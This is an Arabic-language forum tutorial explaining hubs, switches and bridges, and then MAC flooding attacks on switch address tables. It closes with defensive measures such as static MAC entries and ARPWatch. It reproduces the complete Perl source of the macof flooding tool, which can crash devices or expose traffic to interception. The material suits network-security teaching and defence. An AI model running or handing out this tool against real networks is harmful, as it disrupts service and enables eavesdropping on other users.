السلام عليكم
ده موضوع بسيط يتعلق بأمن الشبكات
والموضوع يتناول مشكلة macof الامنية التي تستغل في الهجوم على السويتشات او الجسور Switchs & Bridge في شبكات LAN
مقدمة :
====
طبعا لازم نكون عارفين وظائف الجسور والسويتشات والـ hub والفرق بينهم...
ملخص سريع عنهم :
الـ hub او الموزع بالعربي .. هو جهاز شائع الاستعمال في الشبكات من نوع النجمة او Star Networks
صورة لشبكة Star تضم عدة اجهزة يتوسطها hub باللون الاخضر
اهم نقطة لكي نستطيع التفرييق بين الـ Hub وبين اجهزة الشبكة الاخرى انه لا يقوم بتصفية حركة مرور الشبكة
ماالمقصود بـ "تصفية حركة المرور" ؟
لو فرضنا ان جهاز A قام بأرسال اشارة الى جهاز B موجود على الشبكة نفسها ... اذن الاشارة ستنطلق من الجهاز A و تروح اولا الى الموزع Hub ..
النقطة المهمة انه بعد ذلك يقوم الموزع بارسال الاشارة او الرسالة الى جميع الاجهزة على الشبكة ... حيث ترفضها جميع الاجهزة معدا الجهاز B اللي الاشارة المفروض تروحلو .... اذا الموزع Hub غير قادر على ارسال الاشارة من جهاز A الى جهاز B مباشرة ... لكن يقوم بتوزيعها على جميع الاجهزة في الشبكة ... وبالتالي التسبب ببطيء الشبكة وضعف الاشارة نسبيا .
ننتقل الى السويتش Switch .. وهو مشابه للموزع Hub في استخدامه مع شبكات Star مع الاختلاف عنه في نقطتين .. وهما :
السويتش يقوم بتكرار الاشارة وتوليدها من جديد وبالتالي زيادة قوة الاشارة
اما اهم ميزة للسويتش انه يحتوي على جداول توجيه تحتوي على عناوين MAC Address ووظيفتها هو تصفية حركة مرور الشبكة
اي انه عندما يقوم جهاز A بارسال اشارة الى جهاز B على الشبكة .. فيقوم السويتش بأستقبال الاشارة من A وتوجيهها الى B مباشرة دون توزيعها الى جميع اجهزة الشبكة كالموزع hub
اذا نستنتج ان السويتشات تأخذ قرارتها بناء على العنواين MAC بينما الموزعات Hub لا تأخذ اي قرارات
صورة سويتش :

صورة سويتش لكن من الداخل :

نلاحظ انه يحتوي على وحدات طاقة كهربائية حيث يحتاجها في تكرار الاشارة على عكس الموزع الذي لا يحتوي على اي منها
اما الجسر فهو يستخدم في تقسيم الشبكات المحلية وتصفية الترافيك او حركة المرور ايضا ..
يعني نستنتج ان الجسر Bridge يحتوي ايضا على جداول توجيه تحتوي على عناوين MAC لتوجيه الـ packets في الشبكة .. كما نرى في الصورة :

طبعا اللي يحب التوسع في المجال يشوف كتب ومواضيع متخصصة
مواقع ذات صلة :
http://www.arabsecure.net/n_networks.htm
http://www.c4arab.com/showsection.php?secid=13
كتب شبكات لميكروسوفت وسيسكو ونوفل
http://www.arabsecure.net/books.htm
==============================================
ننتقل الى المشكلة الامنية...
كما ذكرنا سابقا , تحتفظ السويتشات والجسور بجدول يحتوي على عناوين MAC لجميع الاجهزة على الشبكة
مالمقصود بالـ MAC Address ?
الـ MAC Address هو عنوان فريد لكرت الشبكة او NIC اي انه كل كرت شبكة في العالم في اي شبكة له عنوان MAC فريد يميزه ويكون ثابت .. كعنوان IP Address ولكن عنوان MAC هو عنوان فيزيائي
المهم .. اللي عاوز يعرف العنوان MAC لكرت الشبكة بتاعه .. يعمل الامر التالي على الشيل او في الدوس
arp -a
بعد ماتعمل الامر هايطلعلك الماك ادرس بتاعك مشابه للرد اللي حصل عندي ده
Interface: 62.139.150.45 --- 0x10403 Internet Address Physical Address Type 62.139.155.33 00-01-48-00-6e-ab dynamic
اعتقد الان فهمنا الغرض من تخزين عناوين MAC لاجهزة الشبكة في جدول السويتش والجسر .. طبعا الغرض استخدامه ( MAC ) لتوجيه الباكيت الى بورتات محدده الى الاجهزة على الشبكة مباشرة
وده يخلي السويتشات والجسور هدفا للهجوم من قبل الهاكرز
هناك نصوص برمجية كـ macof يمكن استخدامهما لجعل الجسور والسويتشات تفيض بعناوين MAC عشوائية ... طبعا لازم يكون السويتش او الجسر يقبل بتخزين عناوين MAC جديدة اليه وده هو الشائع
ممكن تشبيه العملية بالكوكيز ... لما تدخل موقع معين .. يقوم بتسجيل الكوكيز في جهازك .. لكي يسهل عليك الوصول الى الموقع مرة اخرى او استكمال نشاطك عليه
تقوم نصوص macof بأرسال الكثير من عناوين ماك عشوائية الى السويتش لكي تخزن في جداوله مما يؤدي الى :
اولا انهاك ذاكرة السويتش او الجسر وعدم توفر اي مساحه لذاكرة الجهاز ويجعله بطيئا
وثانيا يتم امتلاء جدول السويتش بعناوين MAC مزيفة وهذا يجعل الـ packets لا تصل الى وجهتها على الشبكة .. اي تعطيل الشبكة بأكملها
صورة اثناء هجوم MacOF

بأمكان المهاجم ايضا ان يقوم بعمل Spoofing للسويتش او الجسر وذلك عن طريق اغراق السويتش بعناوين MAC Address خاصة بالمهاجم .. اي تغيير معلومات العنونة .. وسيقوم السويتش بأرسال بيانات الشبكة الى العنوان المزيف .. ولكن يشترط ان يمتلك المجاهم كرتين شبكة او عنوانين MAC مختلفان زي ماهو موضح في الصورة تحت

طبعا لن ندخل في تفاصيل الـ ARP Spoofing ...
ممكن نخليها لدرس اخر
هذه احد نصوص macof
وقد تم تطبيقها على سويتشات من نوع 3com Superstack Switch 3300
-----------------------------------------------------------------------------------------
#!/usr/bin/perl -w
#
# macof v. 1.1
# By Ian Vitek ( ian.vitek@infosec.se )
# Tests network devices by flooding local network with MAC-addresses.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./macof -e <mac_of_def_gate> -n 1000000
# ./macof -r -n 1000000
# (run it several times)
#
# Warning: This program could cause serious problems on your network.
# This program could hang, crash or reboot network devices.
# Switches could start sending packages to all ports making it
# possible to intercept network traffic.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('hvrs:e:d:x:y:i:n:');
sub GenMAC
{
my $tmp_mac="00";
my $i=0;
# generate random mac-address
while($i++ < 5) {
$tmp_mac.=":" . sprintf("%x",int rand 16);
$tmp_mac.=sprintf("%x",int rand 16);
}
return($tmp_mac);
}
$a = new Net::RawIP;
die "usage: $0 [options]\
\t-d dest_host\t\t(def:random)\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1)\
\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );
# set default values
$opt_i=eth0 unless $opt_i;
$opt_n=1 unless $opt_n;
$s_host=$opt_s if $opt_s;
$d_host=$opt_d if $opt_d;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
# Loop
for($times=0; $times < $opt_n; $times++) {
# Check if one or two mac-addresses should be generated
$mac=&GenMAC;
if($opt_r) {
$d_mac=&GenMAC;
print "$d_mac \t$mac\n" if($opt_v);
# set mac-addresses
$a->ethset(source => $mac, dest => $d_mac);
} else {
print "$mac\n" if($opt_v);
# set mac-address
$a->ethset(source => $mac);
}
# generate random source and destination ip-addresses
$s_host=17000000+int rand 4261000000 unless $opt_s;
$d_host=17000000+int rand 4261000000 unless $opt_d;
# generate random source and dest ports
$s_port=int rand 65535 unless $opt_x;
$d_port=int rand 65535 unless $opt_y;
# set network package
$a->set({ip => {saddr => $s_host, daddr => $d_host},
tcp => {source => $s_port, dest => $d_port}
});
# send
$a->ethsend;
}
-----------------------------------------------------------------------------------------
بالنسبة الى الحماية من هذه المشكلة الامنية .. فلا يوجد حتى الان حل فعلي لها
ولكن اذا كنت صاحب شبكة تحتوي على سويتشات وجسور فحاول اتباع الاتي :
هناك بعض السويتشات والجسور تسمح لك بكاتبة تطابقات ARP وعنواين MAC يدويا , فأذا كنت قادرا على كتابة عنواين MAC بنفسك في جدول السويتش اذا قم بمنعه من تعلم او استقبال عنواين MAC جديدة ( انصح بالاطلاع على Manual الخاص بالسويتش او الجسر )
ايضا حاول ابقاء اجهزة شبكتك محدثة بأحدث رقع الامان من البائع
واخيرا قم بأستخدام برامج مثل ARP Watch الذي يقوم بمراقبة النشاط في الشبكة والاحتفاظ بقاعدة بيانات فيها تطابقات العناوين MAC الى عناوين IP وتنبيهك من حصول تغيرات في تطابقات ARP تلك
Author : Net Spider
والسلام عليكم
